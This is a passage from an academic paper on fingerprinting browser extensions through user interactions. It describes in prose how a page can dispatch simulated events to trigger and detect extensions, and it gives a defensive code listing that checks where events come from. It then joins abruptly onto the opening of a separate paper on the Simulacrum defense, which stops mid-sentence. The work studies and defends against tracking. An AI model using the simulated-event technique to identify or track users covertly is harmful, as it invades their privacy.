fingerprintability is fairly stable over time and only a small
number of extensions modify their functionality across
versions in a way that affects that aspect of their behavior.

6.3 System and Attack Performance

Dynamic analysis. In Figure 3 we present the total time in
seconds required by each template in our framework when
dynamically exercising an extension. The mouse and browser
actions templates require the lowest number of interactions,
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Figure 3: Performance for the different interaction templates.

which is reflected in their execution times: for 90% of the ex-
tensions, triggering events can be dispatched and evaluated in
less than 10 seconds. A longer execution time is expected for
the key events since we need to trigger multiple keys which
leads to a significantly larger number of potential key combi-
nations. For the majority of extensions, keyboard interactions
require approximately 2 minutes. Overall, our framework
requires less than 200 seconds to complete testing the interac-
tions of all three templates against an extension. Note that this
is a one-time cost which only needs to be repeated whenever
an extension is updated. The increased overhead for ≈5%
of the extensions is the result of system’s overhead due to the
parallelization of docker containers, browser overhead, and
system I/O operations. In summary, our system’s performance
is suitable for large-scale extension analysis, with multiple
opportunities for further optimization via additional paral-
lelization and the data-driven removal of events that rarely
lead to DOM changes (e.g., the removal of keyboard combina-
tions that did not trigger any extensions in our experiments).

Attack: Page-simulated events. In our analysis we
detailed the different types of interactions and user behaviors
that result in the successful triggering of extensions and their
subsequent fingerprinting. Here, we draw attention to the
fact that mouse events and keyboard events can also be
simulated by the page (obviously, we cannot simulate the
right click functionality of the context-menu item from the
mouse actions template since this is a browser-controlled
interface). More specifically, left-click and keyboard inter-
actions (all key combinations including the copy and paste
functionality) can be simulated by specifically crafted events
that replicate user interaction. The JavaScript framework of
Dispatch Event can be used to initialize different types of
events that are targeted to specific event listeners [6]. For
example, a click event is created and dispatched (fired) on
a specific page element after its call. Using this API, one
can craft artificial events that replicate user interaction to
trigger extensions without the user actually interacting with
the page. In practice, we can include various simulated events
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Figure 4: Detecting different subsets of installed extensions.

in our honeypage and attempt to trigger a specific subset of
extensions requiring such interactions.

Since events that are typically initiated by users can also
be dispatched via JavaScript, browser vendors have included
a special property in the Event interface that can be used for
verifying the provenance of an event. Specifically, each event
carries with it a read-only, isTrusted property [5], indicating
whether the event resulted from a user action or whether it
was dispatched through JavaScript. The same property is also
available through jQuery’s original Event function and
similarly distinguishes user events from script events.

Extension vulnerability. We perform the following experi-
ment to identify the extensions that a page can trigger through
simulated actions. First, we include all the event listeners
related to the appropriate mouse and keyboard events in our
honeypage (i.e., events shown in Table 1). After that, we visit
our honeypage with the extensions found to be triggered by
mouse or keyboard actions, perform again the actions that
have previously triggered each one of them, and log all the
events captured by the event listeners. Since a user action
may generate multiple events, which activate different event
listeners, we need to artificially trigger and dispatch all these
events when simulating the user interaction through the page.
For instance, the user action of clicking the mouse button fires
the click, mousedown and mouseup events. While some
extensions may be triggered by one of these events, others
may be get triggered by a different one. As such, for us to
accurately simulate user actions through the page’s JavaScript,
we captured how users’ actions trigger all relevant events.

Finally, after identifying all the events that correspond
to the actions triggering each one of the extensions, we
modify our honeypage to dispatch these events automatically
from within the page. We visit the modified version of
the honeysite with a browser that has the aforementioned
extensions installed, and check whether the events dispatched
from the page trigger the extensions’ functionality.

From the 2,234 extensions that are triggered by actions that
can be simulated through JavaScript, we successfully trigger
1,513 (67%). Specifically, 88% of the extensions that require
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mouse interactions and 65% of those requiring keyboard
interactions were triggered successfully. As expected, the
percentage is higher for the mouse events since the trusted
flag is more commonly used for key events. Our results
demonstrate that, for the majority of extensions, invasive
pages can simulate user actions and deterministically identify
the corresponding extensions without depending on users’
behavior. Finally, a detailed overview of the vulnerable
extensions’ categories be found in the Appendix A.

Attack performance. To assess our attack feasibility in a
realistic scenario, we measure the time that a page needs for
detecting N=1,...,20 extensions. Due to the variance of trig-
gers across extensions, we randomly select extensions that
leverage different types of interactions (mouse and keyboard).
We include a script that performs the needed type of inter-
actions in the page, which starts executing after the browser
fires the window.onload event. The fingerprinting script then
fires a user-action-simulating event and waits until there is a
DOM modification before proceeding to the next event, while
logging all times corresponding to these events. We used the
Performance API to measure the time difference, with the
starting point being before calling the dispatch function and
the end being after the comparison between the DOM snap-
shots. Since we use different subsets of extensions, we mea-
sure the total time required to detect each subset of extensions
and report it accordingly. Moreover, to collect a representative
set of measurements, we repeat this experiment 50 times.

Figure 4 shows the results for all sets of installed exten-
sions. As expected, there is a positive relationship between
the number of installed extensions and the time required to
fire all the appropriate user-simulating events and detecting
the corresponding DOM changes. Even in the extreme case of
a user having installed 20 extensions (Starov and Nikiforakis
reported that the average user installs 4.8 extensions [48]),
the entirety of the action-triggering and fingerprinting process
takes less than 0.5 seconds. As we showed in §6.1, 90% of the
mouse-triggered extensions require a generic term selection,
while 88% of the keyboard-triggered extensions require
either single keystrokes or a combination of two special keys.

In a real-world deployment, the attacker does not need
to simulate all the available interactions since many of them
do not trigger any extension, and a page would include a
substantially larger number of emulated events that target as
many extensions as possible. In our performance evaluation
where we leverage unique combinations of events, a single
combination triggers one extension in less than 6 ms.
Subsequently, to trigger all the combinations of the 1,513
extensions that we detect through page-simulated events,
the page would require less than 40 seconds for firing the
events and detecting the modifications. This is practical since
it is lower than the average time that users spend on a page
(62 seconds) [17]. Finally, an attacker can apply different
strategies to optimize the detection process and significantly

reduce detection time (e.g., sending the most common events
first or only targeting specific extensions of interest).

Attack Stealthiness. We need to consider two scenarios:
(i) users’ organic actions, and (ii) the page simulating user
interactions. In the first case, our technique is completely
stealthy as the interactions are performed by the user and we
only detect the resulting changes. In the case of simulated
interactions, keyboard events are invisible since there is no
visual effect on the page (thus, matching the stealthiness of
prior techniques). For mouse interactions, some are invisible
(e.g., clicking) while others have a small visual effect
(e.g., text highlighting). Additionally, attackers can employ
techniques like tab-nabbing [19], to detect that the user has
moved focus to a different tab before simulating these events,
in which case the user would not witness the simulated mouse
events. A demonstration of our attack is available at [10].

7 Countermeasure and Discussion

Here we present our defense and further discuss our attack.
Countermeasure. We develop a tool for extension devel-

opers that allows them to retroactively fortify their extensions
against pages that simulate user actions. Our tool introduces
appropriate safeguards in the extension’s code without
affecting its functionality or the user’s browsing experience.

Specifically, we build upon our static analysis tool (§3.1)
and the list of event listeners that can be misused by pages
(§6.3), and create an extensive list of all mouse and keyboard
event listeners. Given the extension’s content-script source
code, we inject a function at the beginning of the source
file that will be executed first. Our function overrides the
addEventListener function located in the prototype of the
EventTarget interface. Listing 3 in the Appendix B provides
an example of our strategy. We first check if the argument on
the addEventListener is one of the mouse or key events; if we
detect such an argument we subsequently verify the origin
of the event and reject events that are not generated by users.
If no such event is detected, the event listener is not affected
and execution proceeds as expected. We manually verified
that our approach works correctly on 50 randomly selected
extensions by correctly handling both user-generated and
page-simulated events without functionality being affected.

Extension obfuscation. A limitation of our static analysis
process (§3.1) is that in cases of heavily obfuscated scripts
that employ sophisticated obfuscation and minification
techniques, it might generate incomplete ASTs. However, this
does not ultimately affect our attack’s effectiveness, as during
our exercising process every extension is tested against all
mouse and keyboard action templates. These templates were
generated based on the results of the static analysis process
as well as the corresponding developer documentation for
completeness. As such, our dynamic extension exercising
provides a comprehensive assessment and is not affected by
issues during the generation of a given extension’s AST.
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8 Related Work

Users’ increasing demand for online privacy, which resulted
in significant efforts by the community and browser vendors
for preventing cookie-based tracking, has also led to the emer-
gence of stateless tracking and browser fingerprinting tech-
niques. A large body of prior work has explored various as-
pects of browser fingerprinting and demonstrated the feasibil-
ity of such techniques [14,15,18,20,23,25,30,31,37–39,52].

More recently, extension fingerprinting has caught the
attention of the research community as a new fingerprinting
vector. Over the last few years, several works have explored
extension fingerprinting, proposed various extension enumer-
ation techniques and countermeasures, and demonstrated how
the users’ list of installed extensions can enable the inference
of sensitive user information [26, 29, 32, 43, 44, 47, 48, 50, 51].

In one of the first works in the area of extension finger-
printing, Sjösten et al. [44] demonstrated how websites can
detect the presence of extensions in the user’s browser based
on the Web Accessible Resources (WARs) that these expose.
Gulyas et al. [26] used the WAR-based technique from [44]
and conducted a large-scale study on the uniqueness of users
that visited their website. They found that they can uniquely
identify 54.86% of the users that have at least one extension
installed. In a different line of work, Sanchez-Rola et
al. [43], as well as Van Goethem and Joosen [51], proposed a
timing-based side-channel attack for detecting the presence of
extensions. Specifically, they issue a request for accessing an
extension’s non-existent resource and measure the time that
it takes for the browser to respond. The response takes longer
in the case where the extension is present, as the browser first
parses the manifest to determine if the resource is accessible.

The works that are most closely related to ours are those
that explore behavior-based extension fingerprinting. In
the first study in this area, Starov and Nikiforakis [48]
showed that extensions can be detected based on the
DOM modifications that they perform to the visited page.
Furthermore, by surveying 854 users, they also found that
many users tend to install unique sets of extensions, thus
becoming uniquely identifiable. Karami et al. [29] developed
Carnus, a framework that employs both static and dynamic
analysis for the generation of extensions’ behavioral-based
fingerprinting signatures in an automated fashion. Moreover,
they explored how the detection of extensions can lead to the
inference of sensitive information (e.g., ethnicity, religion).

Trickel et al. [50] proposed CloakX, a defense that
diversifies the extensions’ behavioral fingerprints to prevent
detectability. More specifically, it substitutes the injected
DOM elements’ identifiers and class names, while also insert-
ing random tags in the page as noise. However, this approach
cannot prevent detectability for the majority of extensions
that are fingerprinted by Carnus [29]. In another work, Starov
et al. [47] investigated whether the extensions’ behavior
and page modifications, that in turn make these extensions

fingerprintable, are needed for their intended functionality.
Similarly to Karami et al.’s [29], this work also accounts for
extensions that are fingerprintable due to the messages they
exchange. Finally, Laperdrix et al. [32] has recently proposed
an extension fingerprinting technique that detects extensions
based on the style sheets that these inject in the visited page.
Using this technique, the authors of [32] were able to uniquely
identify 4,446 extensions, from which 1,074 (24%) have not
been fingerprinted by any previously proposed techniques.

All prior work only considered behaviors that extensions
exhibit automatically and by default did not take into account
the dynamic of user interactions. To the best of our knowl-
edge, our work is the first that incorporates user interactions
and attempts to actively trigger extensions’ functionalities,
aiming to make them exhibit fingerprintable behaviors.

9 Conclusion

More than a decade has passed since the seminal works of
Mayer [36] and Eckersley [20], and yet browser fingerprinting
remains an open problem. The fingerprinting of browser exten-
sions is particularly concerning since, in addition to offering
bits of entropy, they also reveal sensitive personal and socioe-
conomic characteristics of the users who chose to install them.
In this paper, we drew attention to a limitation that has been
common to all prior research on the fingerprinting of browser
extensions. Namely, we showed that prior work has ignored
the aspect of users interacting with browser extensions and
how these interactions can be abused to fingerprint extensions.
Through the use of static and dynamic analyses, we were
able to take advantage of user interactions to fingerprint 4,971
extensions, including more than a thousand extensions that
remained invisible to prior fingerprinting methods. Moreover,
we demonstrated that due to developer error, the majority
(67%) of extensions that are triggered by mouse or keyboard
events can be fingerprinted via artificial user actions that the
page itself can generate, as opposed to requiring a user’s
unwitting help. Finally, to at least partially ameliorate this
common developer mistake, we proposed a tool that can add
appropriate event-provenance checks wherever they are miss-
ing. We hope that future research into browser fingerprinting
will take user-interactions into account, both in terms of an at-
tacker’s capabilities, as well as in proposed countermeasures.

Acknowledgements: We would like to thank the anonymous
reviewers and our shepherd Anupam Das for their valuable
feedback. This work was supported by the National Science
Foundation under grants CNS-1934597, CNS-1941617,
and CNS-2126654 as well as the office of Naval Research
under grant N00014-20-1-2720. Any opinions, findings,
conclusions, or recommendations expressed herein are those
of the authors, and do not necessarily reflect those of the NSF
or the ONR.

USENIX Association 31st USENIX Security Symposium    729



References

[1] Accelerate how you build, share, and run modern appli-
cations. https://www.docker.com/.

[2] Chrome keyboard shortcuts. https://support.
google.com/chrome/answer/157179?hl=en&co=
GENIE.Platform%3DDesktop#zippy=.

[3] ChromeDriver - WebDriver for Chrome. hhttps://
chromedriver.chromium.org/downloads.

[4] Esprima - ECMAScript parsing infrastructure for multi-
purpose analysis. https://esprima.org/.

[5] Event: isTrusted . https://developer.mozilla.
org/en-US/docs/Web/API/Event/isTrusted.

[6] EventTarget : dispatchEvent. https://developer.
mozilla.org/en-US/docs/Web/API/EventTarget/
dispatchEvent.

[7] Keyboard events. https://developer.mozilla.
org/en-US/docs/Web/API/Element#keyboard_
events.

[8] Mouse events. https://developer.mozilla.org/
en-US/docs/Web/API/Element#mouse_events.

[9] PyAutoGUI : cross-platform GUI automation Python
module. https://pyautogui.readthedocs.io/en/
latest/#.

[10] Repository for the artifacts and defense mechanism
of our attack. https://github.com/kostassolo/
dangers-of-human-touch.

[11] Selenium is a suite of tools for automating web browsers.
https://www.selenium.dev/.

[12] Using the Performance API. https://developer.
mozilla.org/en-US/docs/Web/API/Performance_
API/Using_the_Performance_API.

[13] Gunes Acar, Christian Eubank, Steven Englehardt,
Marc Juarez, Arvind Narayanan, and Claudia Diaz.
The web never forgets: Persistent tracking mechanisms
in the wild. In Proceedings of the ACM SIGSAC
Conference on Computer and Communications Security,
pages 674–689, 2014.

[14] Gunes Acar, Marc Juarez, Nick Nikiforakis, Claudia
Diaz, Seda Gürses, Frank Piessens, and Bart Preneel.
Fpdetective: dusting the web for fingerprinters. In Pro-
ceedings of the ACM SIGSAC conference on Computer
& communications security, pages 1129–1140, 2013.

[15] Yinzhi Cao, Song Li, and Erik Wijmans. ((cross))-
browser fingerprinting via os and hardware level
features. In NDSS, 2017.

[16] Chrome. Manifest - web accessible resources. https:
//developer.chrome.com/docs/extensions/mv3/
manifest/web_accessible_resources/.

[17] Contentsquare. 2020 digital experience bench-
mark.behavioral benchmarks based on 7bn user
sessions to help you beat kpis and win at digital expe-
rience. Technical report, Technical report. Available at:
https://go.contentsquare.com/hubfs/eBooks/20202020.

[18] Anupam Das, Gunes Acar, Nikita Borisov, and Amogh
Pradeep. The web’s sixth sense: A study of scripts
accessing smartphone sensors. In Proceedings of ACM
CCS, 2018.

[19] Philippe De Ryck, Nick Nikiforakis, Lieven Desmet,
and Wouter Joosen. Tabshots: Client-side detection
of tabnabbing attacks. In Proceedings of the 8th ACM
SIGSAC symposium on Information, computer and
communications security, pages 447–456, 2013.

[20] Peter Eckersley. How unique is your web browser? In
Proceedings of the 10th International Conference on
Privacy Enhancing Technologies, 2010.

[21] Steven Englehardt and Arthur Edelstein.
Firefox 85 Cracks Down on Supercookies.
https://blog.mozilla.org/security/2021/
01/26/supercookie-protections/, 2021.

[22] Steven Englehardt et al. Automated discovery of
privacy violations on the web. 2018.

[23] Steven Englehardt and Arvind Narayanan. Online
tracking: A 1-million-site measurement and analysis.
In Proceedings of ACM CCS, 2016.

[24] Firefox. web_accessible_resources. https:
//developer.mozilla.org/en-US/docs/Mozilla/
Add-ons/WebExtensions/manifest.json/web_
accessible_resources.

[25] Alejandro Gómez-Boix, Pierre Laperdrix, and Benoit
Baudry. Hiding in the crowd: an analysis of the
effectiveness of browser fingerprinting at large scale.
In Proceedings of the world wide web conference, pages
309–318, 2018.

[26] Gabor Gyorgy Gulyas, Doliere Francis Somé, Nataliia
Bielova, and Claude Castelluccia. To extend or not to
extend: on the uniqueness of browser extensions and
web logins. In Proceedings of the Workshop on Privacy
in the Electronic Society, pages 14–27. ACM, 2018.

[27] Artur Janc and Lukasz Olejnik. Web browser history
detection as a real-world privacy threat. In European
Symposium on Research in Computer Security, pages
215–231. Springer, 2010.

730    31st USENIX Security Symposium USENIX Association

https://www.docker.com/
https://support.google.com/chrome/answer/157179?hl=en&co=GENIE.Platform%3DDesktop#zippy=
https://support.google.com/chrome/answer/157179?hl=en&co=GENIE.Platform%3DDesktop#zippy=
https://support.google.com/chrome/answer/157179?hl=en&co=GENIE.Platform%3DDesktop#zippy=
hhttps://chromedriver.chromium.org/downloads
hhttps://chromedriver.chromium.org/downloads
https://esprima.org/
https://developer.mozilla.org/en-US/docs/Web/API/Event/isTrusted
https://developer.mozilla.org/en-US/docs/Web/API/Event/isTrusted
https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/dispatchEvent
https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/dispatchEvent
https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/dispatchEvent
https://developer.mozilla.org/en-US/docs/Web/API/Element#keyboard_events
https://developer.mozilla.org/en-US/docs/Web/API/Element#keyboard_events
https://developer.mozilla.org/en-US/docs/Web/API/Element#keyboard_events
https://developer.mozilla.org/en-US/docs/Web/API/Element#mouse_events
https://developer.mozilla.org/en-US/docs/Web/API/Element#mouse_events
https://pyautogui.readthedocs.io/en/latest/#
https://pyautogui.readthedocs.io/en/latest/#
https://github.com/kostassolo/dangers-of-human-touch
https://github.com/kostassolo/dangers-of-human-touch
https://www.selenium.dev/
https://developer.mozilla.org/en-US/docs/Web/API/Performance_API/Using_the_Performance_API
https://developer.mozilla.org/en-US/docs/Web/API/Performance_API/Using_the_Performance_API
https://developer.mozilla.org/en-US/docs/Web/API/Performance_API/Using_the_Performance_API
https://developer.chrome.com/docs/extensions/mv3/manifest/web_accessible_resources/
https://developer.chrome.com/docs/extensions/mv3/manifest/web_accessible_resources/
https://developer.chrome.com/docs/extensions/mv3/manifest/web_accessible_resources/
https://blog.mozilla.org/security/2021/01/26/supercookie-protections/
https://blog.mozilla.org/security/2021/01/26/supercookie-protections/
https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/web_accessible_resources
https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/web_accessible_resources
https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/web_accessible_resources
https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/web_accessible_resources


[28] Soroush Karami, Panagiotis Ilia, and Jason Polakis.
Awakening the web’s sleeper agents: Misusing service
workers for privacy leakage. In Network and Distributed
System Security Symposium (NDSS). The Internet
Society, 2021.

[29] Soroush Karami, Panagiotis Ilia, Konstantinos Solomos,
and Jason Polakis. Carnus: Exploring the privacy threats
of browser extension fingerprinting. In Proceedings
of the Symposium on Network and Distributed System
Security (NDSS), 2020.

[30] Pierre Laperdrix, Nataliia Bielova, Benoit Baudry, and
Gildas Avoine. Browser fingerprinting: A survey. ACM
Transactions on the Web (TWEB), 14(2):1–33, 2020.

[31] Pierre Laperdrix, Walter Rudametkin, and Benoit
Baudry. Beauty and the beast: Diverting modern web
browsers to build unique browser fingerprints. In
IEEE Symposium on Security and Privacy (SP), pages
878–894. IEEE, 2016.

[32] Pierre Laperdrix, Oleksii Starov, Quan Chen, Alexan-
dros Kapravelos, and Nick Nikiforakis. Fingerprinting
in style: Detecting browser extensions via injected
style sheets. In 30th {USENIX} Security Symposium
({USENIX} Security 21), 2021.

[33] Sangho Lee, Hyungsub Kim, and Jong Kim. Identifying
cross-origin resource status using application cache. In
NDSS, 2015.

[34] Adam Lerner, Anna Kornfeld Simpson, Tadayoshi
Kohno, and Franziska Roesner. Internet jones and the
raiders of the lost trackers: An archaeological study
of web tracking from 1996 to 2016. In 25th USENIX
Security Symposium (USENIX Security), 2016.

[35] Xu Lin, Panagiotis Ilia, and Jason Polakis. Fill in the
blanks: Empirical analysis of the privacy threats of
browser form autofill. In Proceedings of the 2020 ACM
SIGSAC Conference on Computer and Communications
Security (CCS).

[36] Jonathan R Mayer. “any person... a pamphleteer”: In-
ternet anonymity in the age of web 2.0. Undergraduate
Senior Thesis, Princeton University, page 85, 2009.

[37] Vikas Mishra, Pierre Laperdrix, Antoine Vastel, Walter
Rudametkin, Romain Rouvoy, and Martin Lopatka.
Don’t count me out: On the relevance of ip address
in the tracking ecosystem. In Proceedings of The Web
Conference, pages 808–815, 2020.

[38] Keaton Mowery and Hovav Shacham. Pixel perfect:
Fingerprinting canvas in html5. pages 1–12, 2012.

[39] Martin Mulazzani, Philipp Reschl, Markus Huber,
Manuel Leithner, Sebastian Schrittwieser, Edgar Weippl,
and FC Wien. Fast and reliable browser identification
with javascript engine fingerprinting. In Web 2.0 Work-
shop on Security and Privacy (W2SP), volume 5, 2013.

[40] Lily Hay Newman. Wired - the fractured future of
browser privacy, 2020. https://www.wired.com/
story/chrome-firefox-edge-browser-privacy/.

[41] Nick Nikiforakis, Alexandros Kapravelos, Wouter
Joosen, Christopher Kruegel, Frank Piessens, and Gio-
vanni Vigna. Cookieless monster: Exploring the ecosys-
tem of web-based device fingerprinting. In IEEE Sym-
posium on Security and Privacy, pages 541–555, 2013.

[42] Valentino Rizzo, Stefano Traverso, and Marco Mellia.
Unveiling web fingerprinting in the wild via code
mining and machine learning. Proceedings on Privacy
Enhancing Technologies, (1):43–63, 2021.

[43] Iskander Sanchez-Rola, Igor Santos, and Davide
Balzarotti. Extension Breakdown: Security Analysis
of Browsers Extension Resources Control Policies. In
Proceedings of the 26rd USENIX Security Symposium
(USENIX Security), 2017.

[44] Alexander Sjösten, Steven Van Acker, and Andrei
Sabelfeld. Discovering browser extensions via web
accessible resources. In Proceedings of the Seventh
ACM on Conference on Data and Application Security
and Privacy, pages 329–336, 2017.

[45] Konstantinos Solomos, John Kristoff, Chris Kanich,
and Jason Polakis. Tales of favicons and caches:
Persistent tracking in modern browsers. In Network and
Distributed System Security Symposium (NDSS). The
Internet Society, 2021.

[46] Doliere Francis Somé. Empoweb: empowering web
applications with browser extensions. In Symposium on
Security and Privacy (SP), pages 227–245. IEEE, 2019.

[47] Oleksii Starov, Pierre Laperdrix, Alexandros Kaprav-
elos, and Nick Nikiforakis. Unnecessarily identifiable:
Quantifying the fingerprintability of browser extensions
due to bloat. In The World Wide Web Conference, pages
3244–3250, 2019.

[48] Oleksii Starov and Nick Nikiforakis. Xhound: Quan-
tifying the fingerprintability of browser extensions. In
IEEE Symposium on Security and Privacy (SP), pages
941–956. IEEE, 2017.

[49] David Temkin. Google Ads - Charting a course
towards a more privacy-first web. https:
//blog.google/products/ads-commerce/a-
more-privacy-first-web/, 2021.

USENIX Association 31st USENIX Security Symposium    731

https://www.wired.com/story/chrome-firefox-edge-browser-privacy/
https://www.wired.com/story/chrome-firefox-edge-browser-privacy/
https://blog.google/products/ads-commerce/a-more-privacy-first-web/
https://blog.google/products/ads-commerce/a-more-privacy-first-web/
https://blog.google/products/ads-commerce/a-more-privacy-first-web/


[50] Erik Trickel, Oleksii Starov, Alexandros Kapravelos,
Nick Nikiforakis, and Adam Doupé. Everyone is differ-
ent: Client-side diversification for defending against ex-
tension fingerprinting. In 28th {USENIX} Security Sym-
posium ({USENIX} Security), pages 1679–1696, 2019.

[51] Tom Van Goethem and Wouter Joosen. One side-
channel to bring them all and in the darkness bind
them: Associating isolated browsing sessions. In
11th {USENIX} Workshop on Offensive Technologies
({WOOT}), 2017.

[52] Antoine Vastel, Pierre Laperdrix, Walter Rudametkin,
and Romain Rouvoy. Fp-stalker: Tracking browser
fingerprint evolutions. In IEEE Symposium on Security
and Privacy (SP), pages 728–741. IEEE, 2018.

[53] John Wilander. WebKit - Intelligent Tracking Pre-
vention (ITP). https://webkit.org/blog/9521/
intelligent-tracking-prevention-2-3/, 2019.

A Appendix: Extension Statistics

Here we present additional details and statistics about the
extensions detected by our system.
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Figure 5: Categories of extensions for the corresponding
datasets.

In Figure 5 we present the main category types of the
detected extensions. The most popular category is that of
“Productivity" with ≈ 40% of the extensions of each dataset.
The next most popular category is “Fun" with ≈ 15% of the
extensions. Also, ≈15% of the extensions are categorized
as “Developer Tools” and “Accessibility”.

Figure 6 reports the total number of installations for the
extensions of the three datasets in our analysis. As can be
seen, 50% of the extensions of the D1 and D2 have at least
100 downloads, while half of the extensions of D3 have
approximately 1,000 downloads. Moreover, 10% of the
extensions of all datasets are installed by 10,000 users, and
the most popular extensions have over 2 Million users.

Figure 7 reports the category types of the extensions that
are fingerprintable by our techniques. Similarly to the overall
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Figure 6: Number of installations for all the extensions in our
datasets.
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Figure 7: Categories of extensions that are fingerprinted by
our system.

breakdown of extensions as shown Figure 5, “Productivity”
and “Fun” are the most common categories for vulnerable
extensions. Also, ≈15% of the vulnerable extensions catego-
rized as “Search Tools” and ≈10% are under the category of
“Accessibility”. Finally, the least popular category is “Social
Media”. One difference compared to the overall distribution
of extensions found in Figure 5, is that of “Developer Tools”
which are less likely to be fingerprintable.
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B Appendix: Countermeasure

Listing 3 shows an example of our proposed countermeasure
tool for automatically injecting event-provenance checks in
extensions’ source code.

1 // All the mouse and key events
2 Events = new Set(['click', <...>])
3 orig = EventTarget.prototype.addEventListener;
4 EventTarget

.prototype.addEventListener = function(){
5 if ( Events.has(arguments[0]) ){
6 let handler = arguments[1]
7 arguments[1] = function(){
8 let event = arguments[0];
9 //event's origin

10 if (event.isTrusted == false)
11 return;
12 else
13 return handler.apply(this,arguments)}}
14 return orig.apply(this, arguments);}

Listing 3: Code for verifying events’ origin by overriding the
addEventListener function.
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Abstract
Online tracking has garnered significant attention due to the

privacy risk it poses to users. Among the various approaches,
techniques that identify which extensions are installed in a
browser can be used for fingerprinting browsers and tracking
users, but also for inferring personal and sensitive user data.
While preventing certain fingerprinting techniques is relatively
simple, mitigating behavior-based extension-fingerprinting
poses a significant challenge as it relies on hiding actions that
stem from an extension’s functionality. To that end, we intro-
duce the concept of DOM Reality Shifting, whereby we split the
reality users experience while browsing from the reality that
webpages can observe. To demonstrate our approach we de-
velop Simulacrum, a prototype extension that implements our
defense through a targeted instrumentation of core Web API
interfaces. Despite being conceptually straightforward, our im-
plementation highlights the technical challenges posed by the
complex and often idiosyncratic nature and behavior of web
applications, modern browsers, and the JavaScript language.
We experimentally evaluate our system against a state-of-the-
art DOM-based extension fingerprinting system and find that
Simulacrum readily protects 95.37% of susceptible extensions.
We then identify trivial modifications to extensions that enable
our defense for the majority of the remaining extensions.
To facilitate additional research and protect users from
privacy-invasive behaviors we will open-source our system.

1 Introduction

The modern web has permeated numerous aspects of our
everyday lives and, thus, reshaped how we conduct many
sensitive and critical operations. At the heart of users’ online
experience lie web browsers, mediating a wide range of
sensitive communications and activities. Unfortunately, while
browsers are a portal to limitless potential, their rich set of
features and complex functionality can also enable or facilitate
privacy-invasive behaviors [13, 18, 28, 31, 36, 60]. As a result,
in recent years web tracking has garnered significant attention
from researchers and practitioners alike.

Due to the stateless nature of the HTTP protocol, web track-
ing has traditionally relied on the presence of cookies. However,
with users becoming more privacy-cautious and browsers
continuing to deploy anti-tracking defenses that hinder cookie-
based tracking [22, 62, 67], trackers have also evolved accord-
ingly. In fact, a wide range of techniques have been demon-
strated by researchers or found in the wild; from “supercookies”
and “evercookies” (e.g., using HSTS policies [61], internal
storage [8], or favicons [55]) to DNS-based trickery [10,19,30],
these techniques highlight the feasibility and creativity of
tracking techniques that bypass existing defenses. While
browsers may gradually adapt and prevent such emerging tech-
niques, one of the most alarming modern approaches is that of
browser fingerprinting. Prior research has demonstrated many
browser fingerprinting vectors targeting underlying system and
hardware characteristics [9,12,16,21,23,24,32,33,41–44,65].
Additionally, a more recent line of research has focused on how
installed browser extensions can be used for fingerprinting and
tracking, as each user will install a unique set of browser ex-
tensions. To make matters worse, installed extensions carry se-
mantic information that can be used to infer sensitive user traits
such as religion, sexual orientation, and medical issues [29].

Prior studies have proposed mitigations that target different
aspects of extension fingerprinting, namely preventing
techniques that target Web Accessible Resources (WARs) [50],
stylesheets (CSS) [34], and node attributes [63]. However,
no existing defense can effectively prevent DOM-based
fingerprinting [29], since many extensions intentionally
modify pages in varied and diverse ways and these changes can
be uniquely identifiable. Essentially, the root cause of behavior-
based extension fingerprinting is that any JavaScript running
in the context of the web page can see all the changes and
modifications that the installed extensions make to the page.

In this paper, we address the root cause of this robust fin-
gerprinting technique, by approaching the problem from a
fundamentally different perspective. We propose the notion of
DOM Reality Shifting,wherein we split the reality that a user ex-
periences when browsing a page from the reality that the page
can actually observe. By separating the page’s DOM, the user
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sees the changes that an extension makes to the page, while the
page’s JavaScript cannot see those changes. In more detail, we
create a Parallel DOM in addition to the User DOM, and medi-
ate access such that extensions query, edit and interact with the
User DOM while page JavaScript is limited to interacting with
the Parallel DOM. While DOM Reality Shifting is conceptu-
ally straightforward it is fundamentally effective against DOM-
based behavior fingerprinting, yet correctly implementing it
requires handling a myriad of JavaScript idiosyncrasies, corner-
cases and real-world complexities that can undermine the secu-
rity of such a system or the functionality of web applications.
To demonstrate the feasibility of our approach we develop a pro-
totype extension called Simulacrum that implements DOM Re-
ality Shifting without the need to change the browser, through
a targeted instrumentation of Web API interfaces.

To assess the practicality of our approach we experimentally
evaluate Simulacrum across multiple dimensions. First, we
demonstrate our system’s effectiveness by deploying it against
a state-of-the-art automated DOM-based fingerprinting sys-
tem [29]. Out of 5,793 fingerprintable extensions our system
effectively hides the presence of 95.37% of the extensions. We
then measure the overhead introduced by our defense and find
that it is less than 390ms for half of the websites and ∼895ms
on average. Finally, we manually assess how Simulacrum
affects extensions’ and websites’ functionality and find that
all extensions remain unaffected, while major and minor
breakage occurs in 12% and 10% of sites respectively. To avoid
breakage, our extension’s users can allowlist trusted sites.

In summary, our research contributions are:
• We introduce the concept of DOM Reality Shifting, which

fundamentally addresses the root cause of DOM-based
browser extension fingerprinting. Simulacrum, our
prototype extension, significantly limits extension
fingerprinting without modifying the browser, thus
allowing for immediate and widespread adoption.

• We experimentally evaluate Simulacrum’s defensive and
performance impact, and demonstrate that our system ef-
fectively protects extensions while incurring a negligible
performance overhead and limited website breakage.

• We present guidelines for extension developers that
allow them to eliminate problematic fingerprintable
behaviors without affecting the extension’s functionality.
These guidelines require straightforward changes that
are trivial to implement, and can contribute to completely
eliminating DOM-based fingerprinting.

• To further reproducibility in science, we make the source
code of our system as well as the list of all domains and
extensions used in our experiments available [4].

2 Background and Threat Model

Browser fingerprinting relies on extracting unique attributes
of the user’s browser and device. Among those, the list
of installed browser extensions can be coupled with other

information to build reliable fingerprints. Browser extension
fingerprinting is indeed a real-world threat, as LinkedIn was
found trying to detect 38 different extensions [47].

Extensions rely heavily on the JavaScript language
and customize web pages by modifying the page’s DOM.
An invasive web page can observe this behavior (i.e., the
modifications made to the page’s DOM) and use it to construct
a set of behavior-based fingerprints (i.e., signatures). When a
user visits the page, the invasive page can use the fingerprints
and the changes made to determine the extensions the user
has installed. Since the extension modifies the page’s DOM,
effectively hiding the extension’s behavior from the page
without breaking the page’s functionality is a challenging
problem that prior defenses failed to truly address [29].

Threat model. We assume the attacker controls a specially
